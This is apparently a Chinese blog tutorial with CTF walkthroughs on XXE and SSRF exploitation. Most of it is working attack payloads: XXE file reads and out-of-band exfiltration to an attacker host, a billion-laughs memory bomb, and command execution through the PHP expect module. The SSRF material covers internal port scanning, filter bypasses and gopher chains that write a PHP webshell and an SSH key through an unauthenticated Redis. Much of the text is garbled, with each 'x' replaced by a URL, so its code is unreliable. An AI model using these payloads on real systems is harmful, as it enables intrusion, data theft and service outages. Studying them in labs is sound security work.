我们仔细看一下很好理解,第一个调用的参数实体是%remote,在/usr/share/yelp/dtd/docbookhttps://blog.csdn.net/yjprolus/article/details/x.dtd文件中调用了%ISOamso;,在ISOamso定义的实体中相继调用了eval、和send
我发现,虽然W3C协议是不允许在内部的实体声明中引用参数实体,但是很多XML解析器并没有很好的执行这个检查。几乎所有XML解析器能够发现如下这种两层嵌套式的
DOCTYPE message [ https://blog.csdn.net/yjprolus/article/details/x25; send SYSTEM 'http://myip/?%file;'>">%start;%send;]><message>10message>
https://blog.csdn.net/yjprolus/article/details/xml version="1.0"?><!DOCTYPE message [<!ELEMENT message ANY><!ENTITY % para1 SYSTEM "file:///flag"><!ENTITY % para '">https://blog.csdn.net/yjprolus/article/details/x25;para2;'>%para;]><message>10</message>
和读文件差不多,只不过把URI改成内网机器地址
DOCTYPE foo [ <!ELEMENT foo ANY >]><user><firstname>&rabbit;firstname><lastname>666lastname>user>
XXE漏洞利用技巧:从XML到远程代码执行
这种情况很少发生,但有些情况下攻击者能够通过XXE执行代码,这主要是由于配置不当/开发内部应用导致的。如果我们足够幸运,并且PHP ehttps://blog.csdn.net/yjprolus/article/details/xpect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么我们就可以执行如下的命令:
DOCTYPE GVI [ <!ELEMENT foo ANY >]><catalog> <core id="test101"> <author>John, Doeauthor> <title>I love XMLtitle> <cateGory>Computerscategory> <price>9.99price> <date>2018-10-01date> <description>&yj;description> core>catalog>
响应:
{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...
DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]><lolz>&lol9;lolz>
此测试可以在内存中将小型 XML 文档扩展到超过 3GB 而使服务器崩溃。
如果 XML 解析器尝试使用/dev/random
文件中的内容来替代实体,则下面的代码会使服务器(使用 UNIX 系统)崩溃。
DOCTYPE foo [ <!ELEMENT foo ANY > ]><foo>&yj;foo>
ENTITY``SYSTEM``file
等关键词被过滤使用编码方式绕过:UTF-16BE
cat payload.https://blog.csdn.net/yjprolus/article/details/xml | iconv -f utf-8 -t utf-16be > payload.8-16be.https://blog.csdn.net/yjprolus/article/details/xml
若http被过滤,可以用
DOCTYPE test [ "> %a; %b;]><test>&hhh;test>
DOCTYPE test [ %a;]>
DOCTYPE test [ %a;]> <test> &hhh; test>
DOCTYPE test [ %a;]> <test> &hhh; test>PCFFTlRJVFkgaGhoIFNZU1RFTSAncGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNLPS4vZmhttps://blog.csdn.net/yjprolus/article/details/xhZy5waHAnPg==
DOCTYPE note []><svg height="100" width="1000"> <tehttps://blog.csdn.net/yjprolus/article/details/xt https://blog.csdn.net/yjprolus/article/details/x="10" y="20">&file;tehttps://blog.csdn.net/yjprolus/article/details/xt>svg>
PS:从当前文件夹读取文件可以使用/proc/self/cwd
用ehttps://blog.csdn.net/yjprolus/article/details/xcel创建一个空白的https://blog.csdn.net/yjprolus/article/details/xlshttps://blog.csdn.net/yjprolus/article/details/x,然后解压
mkdir XXE && cd XXEunzip ../XXE.https://blog.csdn.net/yjprolus/article/details/xlshttps://blog.csdn.net/yjprolus/article/details/x
将[Content_Types].https://blog.csdn.net/yjprolus/article/details/xml
改成恶意https://blog.csdn.net/yjprolus/article/details/xml,再压缩回去:zip -r ../poc.https://blog.csdn.net/yjprolus/article/details/xlshttps://blog.csdn.net/yjprolus/article/details/x *
容易出现SSRF的地方有:
上述函数函数使用不当会造成SSRF漏洞。 此外,PHP原生类SoapClient在触发反序列化时可导致SSRF。
构造类似ssrf.php?url=../../../../../etc/passwd
的paylaod即可读取服务器本地的任意文件。
// ssrf.php<?php$url = $_GET['url'];;echo file_get_contents($url);?>
与file_get_contents()函数相似。
构造ssrf.php?url=www.baidu.com
即可成功触发ssrf并返回百度主页
// ssrf.php<?php$host=$_GET['url'];$fp = fsockopen($host, 80, $errno, $errstr, 30);if (!$fp) { echo "$errstr ($errno)
\n";} else { $out = "GET / HTTP/1.1\r\n"; $out .= "Host: $host\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); while (!feof($fp)) { echo fgets($fp, 128); } fclose($fp);}?>
curl_init(url)函数初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_ehttps://blog.csdn.net/yjprolus/article/details/xec()和curl_close() 函数使用。
测试代码:
// ssrf.php
构造ssrf.php?url=www.baidu.com
即可成功触发ssrf并返回百度主页:
SOAP是简单对象访问协议,简单对象访问协议(SOAP)是一种轻量的、简单的、基于 XML 的协议,它被设计成在 WEB 上交换结构化的和固化的信息。PHP 的 SoapClient 就是可以基于SOAP协议可专门用来访问 WEB 服务的 PHP 客户端。该类的构造函数如下:
public SoapClient :: SoapClient(mihttps://blog.csdn.net/yjprolus/article/details/xed $wsdl [,array $options ]) // 第一个参数是用来指明是否是wsdl模式。第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而 uri 是SOAP服务的目标命名空间。
知道上述两个参数的含义后,就很容易构造出SSRF的利用Payload了。我们可以设置第一个参数为null,然后第二个参数为一个包含location和uri的数组,location选项的值设置为target_url:
// ssrf.php<?php$a = new SoapClient(null,array('uri'=>'http://47.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.107:2333', 'location'=>'http://47.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.107:2333/aaa'));$b = serialize($a);echo $b;$c = unserialize($b);$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf?>
https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.72监听2333端口,访问ssrf.php,即可在47.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.72上得到访问的数据,如下图所示,ssrf触发成功:
由于它仅限于http/https协议,所以用处不是很大。但是如果这里的http头部还存在CRLF漏洞,那么我们就可以进行ssrf+CRLF,注入或修改一些http请求头,详情请看:《SoapClient+CRLF组合拳进行SSRF》
SSRF的利用主要就是读取内网文件、探测内网主机存活、扫描内网端口、攻击内网其他应用等,而这些利用的手法无一不与这些协议息息相关。
以下几个演示所用的测试代码:
// ssrf.php
我们构造如下payload,即可将服务器上的本地文件及网站源码读取出来:
ssrf.php?url=file:///etc/passwdssrf.php?url=file:///var/www/html/flag.php
一般是先想办法得到目标主机的网络配置信息,如读取/etc/hosts、/proc/net/arp、/proc/net/fib_trie等文件,从而获得目标主机的内网网段并进行爆破。
域网IP地址范围分三类,以下IP段为内网IP段:
测试环境如下:
假设WEB服务器ubuntu上面存在上述所说的SSRF漏洞,我们构造如下payload,便可通过Ubuntu服务器发送请求去探测内网存活的主机:
ssrf.php?url=http://192.168.52.1ssrf.php?url=http://192.168.52.6ssrf.php?url=http://192.168.52.25......
为了方便,我们可以借助burpsuite的Intruder模块进行爆破,如下所示:
将爆破的线程尽可能设的小一些。开始爆破后即可探测到目标内网中存在如下两个存活的主机(192.168.52.130和192.168.52.131):
同样是上面那个测试环境:
我们利用dict协议构造如下payload即可查看内网主机上开放的端口及端口上运行服务的版本信息等:
ssrf.php?url=dict://192.168.52.131:6379/info // redisssrf.php?url=dict://192.168.52.131:80/info // httpssrf.php?url=dict://192.168.52.130:22/info // ssh
同样可以借助burpsuite来爆破内网主机上的服务。
对于SSRF的限制大致有如下几种:
如果目标代码限制访问的域名只能为 http://www.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.com,那么我们可以采用HTTP基本身份认证的方式绕过。即@:http://www.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.com@www.evil.com
绕过对内网ip的限制我们可以利用302跳转的方法,有以下两种。
(1)网络上存在一个很神奇的服务,网址为 http://https://blog.csdn.net/yjprolus/article/details/xip.io,当访问这个服务的任意子域名的时候,都会重定向到这个子域名,举个例子:
当我们访问:http://127.0.0.1.https://blog.csdn.net/yjprolus/article/details/xip.io/flag.php时,实际访问的是http://127.0.0.1/1.php。像这种网址还有http://nip.io,http://sslip.io。
如下示例(flag.php仅能从本地访问):
(2)短地址跳转绕过,这里也给出一个网址 https://4m.cn/:
直接使用生成的短连接 https://4m.cn/FjOdQ就会自动302跳转到 http://127.0.0.1/flag.php上,这样就可以绕过WAF了:
可以使用一些不同的进制替代ip地址,从而绕过WAF,这里给出个从网上扒的php脚本可以一键转换:
http://localhost/ # localhost就是代指127.0.0.1http://0/ # 0在window下代表0.0.0.0,而在liunhttps://blog.csdn.net/yjprolus/article/details/x下代表127.0.0.1http://[0:0:0:0:0:ffff:127.0.0.1]/ # 在liunhttps://blog.csdn.net/yjprolus/article/details/x下可用,window测试了下不行http://[::]:80/ # 在liunhttps://blog.csdn.net/yjprolus/article/details/x下可用,window测试了下不行http://127。0。0。1/ # 用中文句号绕过http://①②⑦.⓪.⓪.①http://127.1/http://127.00000.00000.001/ # 0的数量多一点少一点都没影响,最后还是会指向127.0.0.1
file_get_contents()
函数的一个特性,即当PHP的file_get_contents()
函数在遇到不认识的协议头时候会将这个协议头当做文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件。(include()函数也有类似的特性)
测试代码:
// ssrf.php
上面的代码限制了url只能是以https开头的路径,那么我们就可以如下:
httpsssss://
此时file_get_contents()
函数遇到了不认识的伪协议头“httpsssss://”,就会将他当做文件夹,然后再配合目录穿越即可读取文件:
ssrf.php?url=httpsssss://../../../../../../etc/passwd
这个方法可以在SSRF的众多协议被禁止且只能使用它规定的某些协议的情况下来进行读取文件。
该思路来自Orange Tsai成员在2017 BlackHat 美国黑客大会上做的题为《A-New-Era-Of-SSRF-Ehttps://blog.csdn.net/yjprolus/article/details/xploiting-URL-Parser-In-Trending-Programming-Languages》的分享。主要是利用readfile和parse_url函数的解析差异以及curl和parse_url解析差异来进行绕过。
(1)利用readfile和parse_url函数的解析差异绕过指定的端口
测试代码:
// ssrf.php
用python在当前目录下起一个端口为11211的WEB服务:
上述代码限制了我们传过去的url只能是80端口的,但如果我们想去读取11211端口的文件的话,我们可以用以下方法绕过:
ssrf.php?url=127.0.0.1:11211:80/flag.thttps://blog.csdn.net/yjprolus/article/details/xt
如上图所示成功读取了11211端口中的flag.thttps://blog.csdn.net/yjprolus/article/details/xt文件,下面用BlackHat的图来说明原理:
从上图中可以看出readfile()函数获取的端口是最后冒号前面的一部分(11211),而parse_url()函数获取的则是最后冒号后面的的端口(80),利用这种差异的不同,从而绕过WAF。
这两个函数在解析host的时候也有差异,如下图:
readfile()函数获取的是@号后面一部分(evil.com),而parse_url()函数获取的则是@号前面的一部分(google.com),利用这种差异的不同,我们可以绕过题目中parse_url()函数对指定host的限制。
(2)利用curl和parse_url的解析差异绕指定的host
原理如下:
从上图中可以看到curl()函数解析的是第一个@后面的网址,而parse_url()函数解析的是第二个@后面的网址。利用这个原理我们可以绕过题目中parse_url()函数对指定host的限制。
测试代码:
>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;// 检查是否是内网ip}function safe_request_url($url){ if (check_inner_ip($url)) { echo $url.' is inner ip'; } else { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output = curl_ehttps://blog.csdn.net/yjprolus/article/details/xec($ch); $result_info = curl_getinfo($ch); if ($result_info['redirect_url']) { safe_request_url($result_info['redirect_url']); } curl_close($ch); var_dump($output); }}$url = $_GET['url'];if(!empty($url)){ safe_request_url($url);}?>
上述代码中可以看到check_inner_ip
函数通过url_parse()
函数检测是否为内网IP,如果不是内网 IP ,则通过curl()
请求 url 并返回结果,我们可以利用curl和parse_url解析的差异不同来绕过这里的限制,让parse_url()
处理外部网站网址,最后curl()
请求内网网址。paylaod如下:
ssrf.php?url=http://@127.0.0.1:80@www.baidu.com/flag.php
的 [2020 首届“祥云杯”网络安全大赛]doyouknowssrf这道题利用的就是这个思路。
Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用TCP 70端口。但在WWW出现后,Gopher失去了昔日的辉煌。
现在的Gopher协议已经很少有人再使用它了,但是该协议在SSRF中却可以发挥巨大的作用,可以说是SSRF中的万金油。由于Gopher协议支持发出GET、POST请求,我们可以先截获GET请求包和POST请求包,再构造成符合Gopher协议请求的payload进行SSRF利用,甚至可以用它来攻击内网中的Redis、MySql、FastCGI等应用,这无疑大大扩展了我们的SSRF攻击面。
URL: gopher://:/_后接TCP数据流# 注意不要忘记后面那个下划线"_",下划线"_"后面才开始接TCP数据流,如果不加这个"_",那么服务端收到的消息将不是完整的,该字符可随意写。
%0d%0a
来代替%0a
,如果多个参数,参数之间的&也需要进行URL编码那么如何利用Gopher发送HTTP的请求呢?例如GET请求。我们直接发送一个原始的HTTP包不就行了吗。在gopher协议中发送HTTP的数据,需要以下三步:
- 抓取或构造HTTP数据包
- URL编码、将回车换行符
%0a
替换为%0d%0a
- 发送符合gopher协议格式的请求
// echo.php<?phpecho "Hello ".$_GET["whoami"]."\n"?>
构造payload。一个典型的GET型的HTTP包类似如下:
GET /echo.php?whoami=Bunny HTTP/1.1Host: 47.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.107
然后利用以下脚本进行一步生成符合Gopher协议格式的payload:
import urllib.parsepayload =\"""GET /echo.php?whoami=Bunny HTTP/1.1Host: 47.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.107""" # 注意后面一定要有回车,回车结尾表示http请求结束tmp = urllib.parse.quote(payload)new = tmp.replace('%0A','%0D%0A')result = 'gopher://47.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.107:80/'+'_'+newprint(result) # gopher://47.11.11.107:80/_GET%20/echo.php%3Fwhoami%3DBunny%20HTTP/1.1%0D%0AHost%3A%2047.11.11.107%0D%0A# 问号(?)需要转码为URL编码,也就是%3f;回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a;在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)
然后执行:curl gopher://47.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.107:80/_GET%20/echo.php%3Fwhoami%3DBunny%20HTTP/1.1%0D%0AHost%3A%2047.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.107%0D%0A
,返回得到 Hello Bunny
// echo.php<?phpecho "Hello ".$_POST["whoami"]."\n"?>
接下来我们构造payload。一个典型的POST型的HTTP包类似如下:
POST /echo.php HTTP/1.1Host: 47.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.107Content-Type: application/https://blog.csdn.net/yjprolus/article/details/x-www-form-urlencodedContent-Length: 12whoami=Bunny
注意:上面那四个HTTP头是POST请求必须的,即POST、Host、Content-Type和Content-Length。如果少了会报错的,而GET则不用。并且,特别要注意Content-Length应为字符串“whoami=Bunny”的长度。
最后用脚本我们将上面的POST数据包进行URL编码并改为gopher协议
import urllib.parsepayload =\"""POST /echo.php HTTP/1.1Host: 47.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.107Content-Type: application/https://blog.csdn.net/yjprolus/article/details/x-www-form-urlencodedContent-Length: 12whoami=Bunny""" # 注意后面一定要有回车,回车结尾表示http请求结束tmp = urllib.parse.quote(payload)new = tmp.replace('%0A','%0D%0A')result = 'gopher://47.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.107:80/'+'_'+newprint(result)
执行 curl gopher://47.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.107:80/_POST%20/echo.php%20HTTP/1.1%0D%0AHost%3A%2047.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.107%0D%0AContent-Type%3A%20application/https://blog.csdn.net/yjprolus/article/details/x-www-form-urlencoded%0D%0AContent-Length%3A%2012%0D%0A%0D%0Awhoami%3DBunny%0D%0A
成功用POST方法传参并输出“Hello Bunny”。
[2020 科来杯初赛]Web1这道题就是典型的运用Gopher发送HTTP POST请求进行SSRF攻击的思路。
进入题目后即给处源码:
这里很明显就是一个SSRF,url过滤了file
、ftp
,但是必须要包含127.0.0.1
。并且,我们还发现一个tool.php页面,但是该页面进去之后仅显示一个“Not localhost”,我们可以用这个ssrf将tool.php的源码读住来,构造反序列化payload:
生成:
O%3A7%3A%22Welcome%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00url%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Ftool.php%22%3B%7D// O:7:"Welcome":1:{s:6:"*url";s:25:"http://127.0.0.1/tool.php";}
将Welcome后面表示对象属性个数的“1”改为“2”即可绕过__destruct()
的限制。
读出来tool.php的源码为:
#tool.phpNot localhost!';}else { highlight_file(__FILE__); $respect_show_ping($_POST);}?>
可知tool.php页面存在命令执行漏洞。当REMOTE_ADDR为127.0.0.1时才可执行命令。REMOTE_ADDR头获取的是客户端的真实的IP,但是这个客户端是相对服务器而言的,也就是实际上与服务器相连的机器的IP(建立tcp连接的那个),这个值是不可以伪造的,如果没有代理的话,这个值就是用户实际的IP值,有代理的话,用户的请求会经过代理再到服务器,这个时候REMOTE_ADDR会被设置为代理机器的IP值。而X-Forwarded-For的值是可以篡改的。
既然这里要求当REMOTE_ADDR为127.0.0.1时才可执行命令,且REMOTE_ADDR的值是不可以伪造的,我们要想让REMOTE_ADDR的值为127.0.0.1,不可能通过修改X-Forwarded-For的值来实现,我们要利用SSRF。
我们可以利用indehttps://blog.csdn.net/yjprolus/article/details/x.php页面的SSRF利用gopher协议发POST包请求tool.php,进行命令执行。这样,整个攻击过程是在服务端进行的REMOTE_ADDR的值也就是127.0.0.1了。
SSRF,利用gopher发POST包,进行命令执行
import urllib.parsetest =\"""POST /tool.php HTTP/1.1Host: 127.0.0.1Content-Type: application/https://blog.csdn.net/yjprolus/article/details/x-www-form-urlencodedContent-Length: 13ip=;cat /flag""" #注意后面一定要有回车,回车结尾表示http请求结束tmp = urllib.parse.quote(test)new = tmp.replace('%0A','%0D%0A')result = 'gopher://127.0.0.1:80/'+'_'+newprint(result)
这里因为我们是把payload发送到服务端让服务端执行,所以我们的Host和gopher里的Host为127.0.0.1。
生成gopher协议格式的payload为:
gopher://127.0.0.1:80/_POST%20/tool.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/https://blog.csdn.net/yjprolus/article/details/x-www-form-urlencoded%0D%0AContent-Length%3A%2013%0D%0A%0D%0Aip%3D%3Bcat%20/flag%0D%0A
然后构造反序列化ehttps://blog.csdn.net/yjprolus/article/details/xp:
生成payload:
O%3A7%3A%22Welcome%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00url%22%3Bs%3A197%3A%22gopher%3A%2F%2F127.0.0.1%3A80%2F_POST%2520%2Ftool.php%2520HTTP%2F1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application%2Fhttps://blog.csdn.net/yjprolus/article/details/x-www-form-urlencoded%250D%250AContent-Length%253A%252013%250D%250A%250D%250Aip%253D%253Bcat%2520%2Fflag%250D%250A%22%3B%7D
同样将Welcome后面表示对象属性个数的“1”改为“2”绕过__destruct()
的限制后执行:
如上图,命令执行成功。
**注意:**这里要注意的是,我们发送的是POST包,而如果发送的是GET包的话,当这个URL经过服务器时,payload部分会被自动url解码,%20等字符又会被转码为空格。所以,curl_ehttps://blog.csdn.net/yjprolus/article/details/xec在发起gopher时用的就是没有进行URL编码的值,就导致了现在的情况,所以我们要对payload进行二次URL编码。编码结果类似如下:
gopher%3a%2f%2f127.0.0.1%3a80%2f_POST%2520%2ftool.php%2520HTTP%2f1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application%2fhttps://blog.csdn.net/yjprolus/article/details/x-www-form-urlencoded%250D%250AContent-Length%253A%252013%250D%250A%250D%250Aip%253D%253Bcat%2520%2fflag%250D%250A
什么是Redis未授权访问?
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。
简单说,漏洞的产生条件有以下两点:
- redis 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网。
- 没有设置密码认证(一般为空),可以免密码远程登录redis服务。
在SSRF漏洞中,如果通过端口扫描等方法发现目标主机上开放6379端口,则目标主机上很有可能存在Redis服务。此时,如果目标主机上的Redis由于没有设置密码认证、没有进行添加防火墙等原因存在未授权访问漏洞的话,那我们就可以利用Gopher协议远程操纵目标主机上的Redis,可以利用 Redis 自身的提供的 config 命令像目标主机写WebShell、写SSH公钥、创建计划任务反弹Shell等,其思路都是一样的,就是先将Redis的本地数据库存放目录设置为web目录、~/.ssh目录或/var/spool/cron目录等,然后将dbfilename(本地数据库文件名)设置为文件名你想要写入的文件名称,最后再执行save或bgsave保存,则我们就指定的目录里写入指定的文件了。
下面我们对攻击Redis的手法进行演示。测试环境如下,内网中其他主机均有外网IP并可以上网:
在上文扫描内网端口的实验中,我们发现了内网中有一个IP为192.168.52.131的主机在6379端口上运行着一个Redis服务,下面我们就用它来演示,通过Ubuntu服务器上的SSRF漏洞去攻击内网主机(192.168.52.131)的Redis。
首先构造redis命令:
flushallset 1 ''config set dir /var/www/htmlconfig set dbfilename shell.phpsave
然后写一个脚本,将其转化为Gopher协议的格式(脚本时从网上嫖的,谁让我菜呢~~~大佬勿喷):
import urllibprotocol="gopher://"ip="192.168.52.131"port="6379"shell="\n\n\n\n"filename="shell.php"path="/var/www/html"passwd=""cmd=["flushall", "set 1 {}".format(shell.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ]if passwd:cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"def redis_format(arr):CRLF="\r\n"redis_arr = arr.split(" ")cmd=""cmd+="*"+str(len(redis_arr))for https://blog.csdn.net/yjprolus/article/details/x in redis_arr:cmd+=CRLF+"$"+str(len((https://blog.csdn.net/yjprolus/article/details/x.replace("${IFS}"," "))))+CRLF+https://blog.csdn.net/yjprolus/article/details/x.replace("${IFS}"," ")cmd+=CRLFreturn cmdif __name__=="__main__":for https://blog.csdn.net/yjprolus/article/details/x in cmd:payload += urllib.quote(redis_format(https://blog.csdn.net/yjprolus/article/details/x))print payload
执行后生成paylaod如下:
这里将生成的payload要进行url二次编码(因为我们发送payload用的是GET方法),然后利用Ubuntu服务器上的SSRF漏洞,将二次编码后的payload打过去就行了:
ssrf.php?url=gopher%3A%2F%2F192.168.52.131%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
如下所示,成功在主机192.168.52.131上面写入WebShell:
同样,我们也可以直接这个存在Redis未授权的主机的/.ssh目录下写入SSH公钥,直接实现免密登录,但前提是/.ssh目录存在,如果不存在我们可以写入计划任务来创建该目录。
构造redis命令:
flushallset 1 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDrCwrA1zAhmjeG6E/45IEs/9a6AWfXb6iwzo+D62y8MOmt+sct27Zhttps://blog.csdn.net/yjprolus/article/details/xGOcRR95FT6zrfFhttps://blog.csdn.net/yjprolus/article/details/xqt2h56oLwml/Trhttps://blog.csdn.net/yjprolus/article/details/xy5sEhttps://blog.csdn.net/yjprolus/article/details/xSQ/cvvLwUTWb3ntJYyh2eGkQnOf2d+ahttps://blog.csdn.net/yjprolus/article/details/x2CVF8S6hn2Z0asAGnP3P4wCJlyR7BBTaka9QNH/4https://blog.csdn.net/yjprolus/article/details/xsFDCfambjmYzbhttps://blog.csdn.net/yjprolus/article/details/x9O2fzl8F67jsTq8BVZhttps://blog.csdn.net/yjprolus/article/details/xy5XvSsoHdCtr7vhttps://blog.csdn.net/yjprolus/article/details/xqFUd/bWcrZ5F1pEQ8tnEBYsyfMK0NuMnhttps://blog.csdn.net/yjprolus/article/details/xBdquNVSlyQ/NnHKyWtI/OzzyfvtAGO6vf3dFSJlhttps://blog.csdn.net/yjprolus/article/details/xwZ0aC15GOwJhjTpTMKq9jrRdGdkIrhttps://blog.csdn.net/yjprolus/article/details/xLKe+XqQnjhttps://blog.csdn.net/yjprolus/article/details/xtk4giopiFfRu8winE9scqlIA5Iu/d3O454ZkYDMud7zRkSI17lP5rq3A1f5https://blog.csdn.net/